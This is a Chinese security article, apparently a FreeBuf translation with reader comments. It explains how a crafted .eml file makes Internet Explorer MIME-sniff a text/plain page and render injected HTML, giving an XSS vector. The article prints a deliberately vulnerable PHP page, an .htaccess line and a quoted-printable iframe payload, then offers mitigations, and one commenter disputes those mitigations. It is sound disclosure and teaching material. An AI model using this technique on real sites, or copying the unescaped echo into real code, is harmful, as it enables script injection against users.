我们认为,这个漏洞在未来的某一天肯定会给你提供很大的帮助。需要注意的是,这个漏洞将会影响所有版本的IE浏览器(已在Win7、Win8.1和Win10上进行了测试),但MicrosoftEdge不会受此漏洞影响。
服务器在发送响应信息时,数据包中通常包含多种header。其中之一就是Content-Type,这种header负责告诉浏览器返回信息的多媒体类型(MediaType)。如果你想了解更多关于Content-Type的内容,请参考MDN的这篇文章【传送门】。在进行渗透测试的过程中,我们通常会遇到某些缺少输入验证或输出编码的页面,但这也就意味着我们找到了XSS漏洞吗?其实不然…因为Content-Type有可能返回的是“text/plain”,而根据规范文档【参考资料1】【参考资料2】【参考资料3】中的定义,当Content-Type返回的值是“text/plain”时,浏览器会进入代码处理模式,而代码模式对于攻击者来说是没有多大价值的。比如说,请大家看下面这个例子(plain.php):
<?php
header("Content-Type: text/plain");
echo "Hello: ".$_GET["name"];
?>
如你所见,这是一个非常简单的例子,它只接收一个参数,第一行表示服务器返回的Content-Type应该为“text/plain”。接下来,让我们看看一看是否能够注入一些无害的HTML代码。
果然,我们成功实现了注入,但浏览器并没有执行注入代码。原因很简单,因为响应类型为“text/plain”。
通过研究发现,如果你打开一个.eml文件,那么IE浏览器将会执行mime嗅探,如果在响应信息中识别到了HTML/JS文件,浏览器将会执行这些代码。首先,EML代表“Microsoft Outlook Express mail message”,也就是微软Outlook的邮件信息,这种格式允许我们将邮件信息保存在文件中。如果你对这种格式感兴趣的话,可以参考这篇RFC文档【传送门】。下面给出的是一个.eml文件样本,你可以用它来进行测试:
root@kali:/var/www/html# cat testeml_1.eml
TESTEML
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
=3Chtml=3Ethis=20is=20test=3C=2Fhtml=3E
你可以将该文件保存在Web服务器中,并通过IE浏览器来访问它(请注意代码底部还有两个空行)。你将会看到浏览器呈现出正确的内容。请大家注意代码中的“Content-Transfer-Encoding:quoted-printable”,我们在URL编码的时候使用了等号(=)而不是百分比号(%)。
测试失败?没关系!这是因为Content-Type出现错误了。对于.eml文件,正确的Content-Type应该是“message/rfc822”。你可以使用下面这个.htaccess文件:
root@kali:/var/www/html# cat .htaccess
AddType message/rfc822 .eml
这样一来,浏览器所返回的Content-Type就没有问题了。
接下来我们还是使用之前给出的样本文件,我们需要攻击的仍然是plain.php。为了实现攻击,我们需要对testeml_1.eml文件进行修改。Payload如下:
<iframe src=’plain.php?name=<HTML><h1>itworks</h1>’></iframe>
在对Payload进行编码之后的结果如下:
=3Ciframe=20src=3D=27plain.php=3Fname=3D=3CHTML=3E=3Ch1=3Eit=20works=3C=2Fh1=3E=27=3E=3C=2Fiframe=3E
最终的testeml_1.eml文件如下:
root@kali:/var/www/html# cat testeml_1.eml
TESTEML
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
=3Ciframe=20src=3D=27plain.php=3Fname=3D=3CHTML=3E=3Ch1=3Eit=20works=3C=2Fh1=3E=27=3E=3C=2Fiframe=3E
接下来,通过IE浏览器访问这个文件,结果如下图所示:
如上图所示,我们成功地利用了这个漏洞。虽然我们使用的Content-Type仍然是“text/plain”,但我们可以强迫IE去执行mime嗅探并执行我们的Payload。
最简单的解决方案就是在样本文件中添加header(‘X-Frame-Options:DENY’)就可以防止这漏洞被利用了。
需要注意的是,设置header(‘X-Content-Type-Options:nosniff’)并不能防止这种攻击。
* 参考来源:jankopecky, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM
11月 上海
CIS 2019首席信息安全官闭门高峰论坛11月
CIS 2019议题抢先看10月
公开课双十一活动9月 上海
CIS 2019官网上线,早鸟票同步开售
已有 17 条评论
正在做这方面的工作,看到本文的时候,激动的心情停不了,
666
就是一个iframe 套用
没看懂
plain.php是做什么的?
@ 夜尽天明 漏洞页
<?php
header("Content-Type: text/plain");
echo "Hello: ".$_GET["name"];
?>
看懂了
怎么感觉怪怪的
难道不能用header(‘X-Content-Type-Options:nosniff’)这个格式了吗?
在后面再jsp编码response.addHeader(‘X-Frame-Options:DENY’,'DENY’)或者html编码<meta http-equiv="x-frame-options","DENY"/>可以吗?
Chrome呢
目前只是针对 IE 进行了检测
MD,,一脸懵逼的进来,瞪大眼睛硬瞅了2遍,,,一脸懵逼的出去了!~!不知道大佬在说什么
其实文章的结论是错的。
这个BUG可以在不使用iframe进行嵌套的情况下进行利用。所以单一开启XFO并不能解决问题。
正确的做法是同时开启XFO和X-Content-Type-Options
MD,,一脸懵逼的进来,瞪大眼睛硬瞅了2遍,,,一脸懵逼的出去了!~!不知道大佬在说什么
看懂了,但是实战里该怎么利用?
测试成功。只能用于攻击客户端啊,而且前提是服务器上存在未能被浏览器正常执行的html代码才能使用这种方式进行攻击。
感谢分享,刚好碰到这个问题